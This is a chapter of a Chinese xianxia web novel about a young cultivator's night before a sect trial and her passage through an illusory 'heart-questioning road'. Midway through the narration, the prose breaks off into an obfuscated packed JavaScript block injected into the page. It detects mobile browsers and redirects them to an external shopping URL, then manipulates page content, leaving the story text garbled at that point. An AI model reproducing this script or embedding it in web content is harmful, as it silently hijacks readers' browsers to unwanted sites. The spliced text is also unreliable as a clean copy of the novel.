试炼前夜,玄霄镇无眠。
子时已过,镇上的灯火却比往日更盛。客栈窗户里透出的光晕,在青石板路上投下一块块暖黄。街上还有人在走动,大多是参加试炼的修士——有的在最后冲刺修炼,有的在准备法器符箓,有的只是紧张得睡不着,在街头徘徊。
林照盘膝坐在房中床上,闭目调息。
她没有像其他人那样临阵磨枪。老谷头说过:修行是长路,不是百米冲刺。临时抱佛脚,抱来的也是浮萍,风一吹就散。
她只是在感受——感受这个夜晚的呼吸,感受这座镇子的脉动,感受千里之外晒谷观的方向传来的、若有若无的熟悉感。
呼吸渐深渐缓。
“见云”境的感知缓缓展开。她“听”到对面陈砚房里,翻书声窸窣——他大概在最后温习试炼规则。“听”到更远处的房间里,有人在低声诵咒,有人在擦拭剑锋,有人在辗转反侧。
然后,她“听”到了沈不言房里的声音。
不是翻书声,不是诵咒声,是剑鸣。
很轻,很细,像春蚕食叶,像露水滴檐。但林照能“感觉”到,那剑鸣里有东西——不是杀气,不是锋芒,是一种……沉静。像深潭的水,表面平静,底下却有无尽深邃。
她忽然想起老谷头说的那句话:“真正的剑,不在锋芒,在止。”
沈不言的剑,大概就是这样的剑。
她收敛心神,继续调息。就在这时,胸口忽然一热。
是那幅画。
林照睁开眼,从怀里取出画卷。油布包裹的卷轴在黑暗中散发着微弱的温热,像冬夜里的暖炉。她解开红丝带,缓缓展开。
然后,她愣住了。
画上的墨点,正在发光。
不是月光下的那种莹莹微光,是真正的光——淡金色的,温暖的光。光芒从墨点中心透出,照亮了整张宣纸。更神奇的是,在光芒中,墨点周围浮现出了完整的山形轮廓。
不是模糊的轮廓,是清晰的、细致的山形。
林照屏住呼吸,盯着画看。那山……她见过。
在来玄霄镇的路上,她远远望见过玄霄阁的后山。云遮雾绕,只隐约看见轮廓。而画上的这座山,虽然角度不同,细节更丰富,但整体的山势、峰峦的走向、甚至某处突出的危岩,都和记忆中的那座山重合了。
周言画里的山,就是玄霄阁的后山?
可周言不是说,那是一座“不存在”的山吗?
她正疑惑,光芒忽然剧烈波动起来。画上的山形轮廓扭曲、变幻,最后竟化作一行小字,浮现在宣纸空白处:
“山在,云在,屋在。等的人,也在。”
字迹娟秀,不是周言的笔迹。倒像是……女子的字。
林照心头一震。她想起老谷头木匣里那半封信,想起那封信上娟秀的字迹:“长青师兄:见字如面……”
难道这画,和师父有关?
她正要细看,光芒忽然熄灭了。画恢复原状,墨点还是那个墨点,宣纸还是那张宣纸。仿佛刚才的一切只是幻觉。
但林照知道不是。
她把画重新卷好,贴身收好。心脏在胸腔里怦怦直跳。
山在,云在,屋在。等的人,也在。
等的人……是谁?
敲门声打断了她的思绪。
“林姑娘,睡了吗?”是陈砚的声音。
林照下床开门。陈砚站在门外,手里端着一碗热汤,脸上有掩饰不住的兴奋:“我刚打听到一个消息!”
“什么消息?”
陈砚进屋,关上门,压低声音:“明日‘问心路’的考官名单公布了!主考官是玄霄阁的内门长老,鹤松真人!”
林照对这个名字没什么概念,但看陈砚激动的样子,应该是个大人物。
“还有呢?”她问。
“副考官有三位。”陈砚掰着手指,“一位是外门执事赵长老,一位是传功长老吴真人,还有一位……”他顿了顿,眼神变得古怪,“你绝对猜不到是谁。”
“谁?”
“谷长青。”
林照手里的汤碗差点摔在地上。
“你、你说谁?”
“谷长青。”陈砚没注意到她的异常,自顾自说着,“据说是个散修,百年前就在修仙界有些名声,后来隐居了。不知怎么被玄霄阁请来当考官……”
林照的手在抖。
谷长青。师父的名字。
是重名吗?还是……师父说的“曾做过散仙”,是真的?可他明明在晒谷观待了一百年,怎么会……
“林姑娘?”陈砚终于发现她的不对劲,“你怎么了?脸色这么白。”
“没、没事。”林照强迫自己镇定,“只是……这个名字,我好像在哪里听过。”
“正常。”陈砚不疑有他,“谷长青百年前确实有名。听说他当年差点飞升,但不知为什么放弃了。后来就销声匿迹了。没想到玄霄阁能请动他出山。”
林照的心乱成一团。
如果考官真是师父……不,不可能。师父已经去世了,她亲手葬的。可是,万一是师父的故人?或者,师父当年真的有什么她不知道的身份?
她忽然想起老谷头临终前说的话:“我年轻时,也向往过天阙……七十九岁那年,已经摸到了元婴的门槛……”
还有木匣里那半封信,那块“天阙巡守”的玉牌。
也许……师父真的不是普通的散修。
“林姑娘?”陈砚担忧地看着她,“你是不是太紧张了?喝口汤吧,我让伙计熬的安神汤。”
林照接过汤碗,慢慢喝着。热汤下肚,心绪稍平。
“谢谢你,陈公子。”她说。
“客气什么。”陈砚笑道,“明日一早就要出发,你早点休息。我也回去了,最后看看书。”
他走到门口,又回头:“对了,沈不言让我带句话给你。”
林照抬头。
“他说:‘走自己的路,看自己的山。’”陈砚挠挠头,“这话什么意思?”
林照沉默片刻,笑了:“我明白了。谢谢。”
陈砚走后,林照重新坐回床上。
她闭上眼,深呼吸。
不管考官是不是师父的故人,不管画里的山是不是玄霄阁的后山,不管等的人是谁——明日,她都要走上那条路。
走自己的路,看自己的山。
第二日,辰时。
广场上已经人山人海。
三千多名通过初选的修士聚集在此,黑压压的一片,从广场中央一直排到街口。所有人都穿着自己最好的衣服,佩戴着最趁手的法器,脸上有期待,有紧张,有跃跃欲试。
林照穿着那身洗得发白的粗布衣裳,背着包袱,握着斧头,站在人群边缘。她没有往中间挤,只是静静站着,看着。
陈砚在她旁边,今天换了身崭新的青衫,头发梳得一丝不苟。他有些紧张,不停整理衣襟,嘴里念念有词,像是在背什么口诀。
沈不言站在更远的地方,靠着墙,闭目养神。他依然穿着那身洗得发白的蓝布衫,剑挂在腰间,用布条裹着剑鞘,看不出特别。
李慕云带着两个随从,在人群中央谈笑风生。他今天锦衣华服,玉冠束发,腰佩长剑,剑鞘上镶着宝石,在晨光下熠熠生辉。周围围了不少人,都是想攀关系的。
“肃静!”
一声清喝从广场前方传来。
人群瞬间安静下来。所有人都看向前方的高台。台上站着四个人,三男一女。为首的是个鹤发童颜的老者,身着月白道袍,手持拂尘,仙风道骨——应该就是鹤松真人。
林照的目光落在最后一位考官身上。
那是个面容清癯的老人,穿着朴素的灰色道袍,背微微佝偻,眼神平静。他站在台边,并不显眼,但林照一眼就认出来了——
不是老谷头。
虽然年纪相仿,气质也有些相似,但确实不是师父。这个老人的眼神更锐利些,背也没有师父那么佝偻。只是同名同姓罢了。
林照松了口气,却又有些莫名的失落。
“老夫鹤松。”台上的老者开口,声音不大,却清晰地传到每个人耳中,“玄霄阁内门长老,本次试炼主考官。试炼规则,想必诸位都已清楚。老夫只强调三点——”
他扫视台下,目光如电。
“第一,试炼途中,生死自负。受伤、残疾、甚至丧命,玄霄阁概不负责。”
台下响起一阵骚动。
“第二,不得使用禁药、禁符。一经发现,永久取消资格,废去修为。”
骚动更大了。
“第三,”鹤松真人顿了顿,语气忽然变得意味深长,“试炼之路,亦是问道之路。诸位在路上的每一个选择,都在考官眼中。好自为之。”
说完,他拂尘一挥:“出发!”
广场四周,忽然升起数道白光。白光交织,在空中形成一道巨大的光门。门内云雾缭绕,看不清通往何处。
“第一关,‘问心路’。入此门,踏此路。走到尽头者,过关。”
人群开始向前涌动。
李慕云第一个冲进光门,锦衣一闪,消失在云雾中。紧接着,更多的人涌了进去。有人兴奋大叫,有人面色凝重,有人犹豫不决。
陈砚深吸口气,对林照说:“林姑娘,我们……”
“你先走。”林照说,“我随后。”
陈砚点点头,随着人流进了光门。
沈不言也动了。他没有挤,只是随着人流,不紧不慢地走进去。经过林照身边时,他看了她一眼,微微点头。
林照也点点头。
然后,她迈开脚步,走向光门。
脚步很稳,像走在晒谷观的田埂上。
踏进光门的瞬间,眼前一花。
再睁开眼时,已经身处一片浓雾之中。
雾很浓,白茫茫一片,三步之外不见人影。脚下是一条青石板路,蜿蜒向前,隐入雾中。四周寂静无声,连风声都没有。只能听见自己的呼吸声,心跳声。
这就是“问心路”?
林照没有急着往前走。她先闭上眼睛,调动“见云”境的感知,去“看”这片雾。
雾不是死的,是在流动的。像水,像云,有它自己的节奏和方向。她“看”到雾的流动轨迹,看到路的走向,甚至“看”到前方不远处,有个人影在雾中踉跄前行——是陈砚。
她睁开眼,迈步向前。
脚步很轻,落地无声。晒谷步法自然施展,她像一条鱼,在雾的河流中游弋。不需要用眼睛看路,只需要跟着感知走——哪里雾稀薄些,哪里路平坦些,哪里气流顺畅些。
走了约莫一炷香时间,前方传来声音。
是争吵声。
“明明是我先看到的!把灵石还我!”
“放屁!这灵石在路中央,谁捡到就是谁的!”
林照走近,看见雾中有两个人在对峙。都是年轻修士,一个穿黑衣,一个穿蓝衫,中间地上躺着块拳头大小的灵石,散发着微弱的灵光。
“见者有份!一人一半!”蓝衫修士说。
“做梦!”黑衣修士啐了一口,“这灵石够我买一瓶聚气丹了!凭什么分你?”
两人越吵越凶,最后竟动起手来。法术光芒在雾中闪烁,拳脚相加的声音沉闷刺耳。
林照没有停留,绕开他们,继续往前走。
《晒谷心经》里说:“路遇争抢,绕行即可。麦田再大,也容得下所有麦穗。”
又走了一段,前方出现岔路。
两条路,一条宽,一条窄。宽的那条路上,雾似乎稀薄些,能看见远处隐约有光。窄的那条,雾更浓,路也更崎岖。
宽路上已经有不少人在走,争先恐后,生怕落后。窄路上空无一人。
林照在岔路口停住。
她闭上眼,感知两条路。宽路确实好走,但路的尽头……有什么东西让她不舒服。不是危险,是某种“虚假”的感觉。窄路难走,但路的尽头,有种莫名的“真实感”。
她想起老谷头的话:“捷径往往不是最近的路。”
也想起沈不言的话:“走自己的路,看自己的山。”
她睁开眼,走向窄路。
踏入窄路的瞬间,雾更浓了。几乎看不见脚下的路。但林照没有慌,只是放慢脚步,让感知更细致地展开。
她“听”到雾流动的声音,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233474|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“听”到石板缝隙里青苔生长的声音,“听”到远处山泉滴落的声音。这些声音指引着方向,像夜空中最亮的星。
走着走着,雾忽然散了。
眼前豁然开朗。
她站在一片悬崖边。前方是深不见底的深渊,对面是另一座山的峭壁。两山之间,只有三根铁索相连,在风中微微摇晃。
铁索桥。
桥头立着一块石碑,碑上刻着字:“一念桥。一念过,一念留。”
已经有十几个人站在桥头,不敢上前。铁索太细,风太大,深渊太深。有人试着踏上去,刚走两步就腿软退回,脸色惨白。
林照走到桥边,往下看了一眼。
深渊里云雾翻涌,看不见底。风从谷底吹上来,带着刺骨的寒意。铁索在风中发出嘎吱嘎吱的响声,像随时会断裂。
她闭上眼睛,深吸口气。
然后,踏上了第一根铁索。
脚下一沉,铁索剧烈晃动。身后传来惊呼声。
但她没有停。晒谷步法施展开来——不是在平地上走,是在摇晃的索上走。每一步都顺着铁索晃动的节奏,像麦穗在风中摇摆,顺势而为,借力而行。
一步,两步,三步……
她走得很慢,但很稳。铁索在她脚下,像成了晒谷场的田埂,虽然摇晃,但有规律。风吹来,她身体微倾,像麦秆弯而不折。风停,她恢复平衡,继续向前。
走到一半时,变故突生。
前方铁索上,忽然窜出一只黑色的怪鸟,翼展三尺,尖喙如钩,直扑她的面门!
林照心头一紧,但脚下没乱。她侧身避开,同时伸手一抓——不是抓鸟,是抓风。手指顺着风的方向一拨,借力打力,那鸟被她轻轻一带,失去平衡,尖叫着坠入深渊。
身后传来更大的惊呼。
她没有回头,继续走。
终于,踏上了对岸。
脚踏实地的那一刻,她才发现,手心全是汗。
回头望去,铁索还在风中摇晃。对岸那些修士,有的在犹豫,有的在尝试,有的已经放弃了。
她没有等,转身继续往前走。
又走了一炷香时间,前方再次出现岔路。
这次是三条路。
一条路铺满鲜花,香气扑鼻,路旁有亭台楼阁,仙音袅袅。路上已经有不少人在走,个个面露喜色,仿佛到了仙境。
一条路荆棘密布,怪石嶙峋,路上空无一人。
第三条路……很特别。
是一条田埂。
是的,田埂。两边是金黄的麦田,麦浪起伏,沙沙作响。远处有间茅屋,屋前有口井,井边有棵槐树。一切都像极了晒谷观。
林照愣住了。
她走到田埂前,蹲下身,摸了摸土。土很湿润,有蚯蚓翻过的痕迹。麦穗沉甸甸的,麦粒饱满。一切都是真的——至少感觉上是真的。
这是幻境,她知道。玄霄阁的“问心路”,不可能真的有一片麦田。
但为什么……这么像?
她站起身,走上田埂。
脚步踏上泥土的瞬间,一股熟悉的气息扑面而来——是晒谷观的味道。麦香,泥土香,远处炊烟的味道,还有……阿茸的味道。
她眼眶一热。
继续往前走。麦田一望无际,麦浪在风中起伏,沙沙声像母亲的呢喃。远处茅屋的烟囱里,飘出袅袅炊烟。井边似乎有个身影在打水,佝偻着背,像老谷头。
她停下脚步,远远看着。
那个身影转过头来——真的是老谷头。他朝她笑了笑,招招手,好像在说:回来了?
林照的眼泪掉下来。
但她知道,这不是真的。师父已经走了,葬在麦田边。这只是幻境,是试炼的一部分,是要考验她的道心——看她会不会被幻象迷惑,会不会沉溺在虚假的温暖里。
她深吸口气,擦掉眼泪,朝着茅屋的方向,深深鞠了一躬。
然后,转身,离开田埂,走向那条荆棘路。
脚步很坚定。
走出麦田范围时,她最后回头看了一眼。麦田、茅屋、井边的身影,都在渐渐淡去,像晨雾遇见了阳光。
她转回头,走进荆棘丛中。
荆棘很密,刺很尖,划破了她的衣服,在她手臂上留下道道血痕。但她没有停,只是一步步往前走。晒谷步法在这里用不上,她只能硬闯。
但奇怪的是,越往前走,荆棘越稀疏。走到最后,眼前豁然开朗——
她走出了雾。
眼前是一片开阔的广场,广场尽头是一座巍峨的山门,门楣上刻着三个大字:“玄霄阁”。山门两侧,站着两排玄霄阁弟子,神色肃穆。
广场上已经站了百来个人,都是通过“问心路”的修士。李慕云在,锦衣有些凌乱,但神色兴奋。陈砚也在,青衫上沾了不少尘土,但眼睛很亮。沈不言站在角落,衣服干净如初,仿佛只是散了趟步。
林照低头看看自己——粗布衣裳被荆棘划破好几处,手臂上血痕道道,头发散乱,脸上还有泪痕。
很狼狈。
但她不在乎。
她走到广场边缘,找了个角落坐下,从包袱里取出伤药,给自己包扎。
正包扎着,忽然听见周围一阵骚动。
抬头看,山门里走出几个人——是考官们。
鹤松真人走在最前,三位副考官跟在后面。他们走到广场中央,目光扫过通过的考生。
林照的目光,落在那个叫谷长青的老人身上。
老人也在看她。
两人的目光在空中相遇。
老人眼中闪过一丝讶异,然后,是欣慰,是怀念,还有某种说不清的复杂情绪。
他朝她微微点了点头。
林照心头一震。
她忽然明白,这个谷长青,就算不是师父本人,也一定和师父有渊源。那个点头,那个眼神,那种熟悉的感觉……
她站起身,朝老人深深鞠了一躬。
不管他是谁,不管他和师父是什么关系——这一刻,她感谢他。感谢他让她在幻境里,再见了一次晒谷观,再见了一次师父。
哪怕只是幻象。
也足够温暖。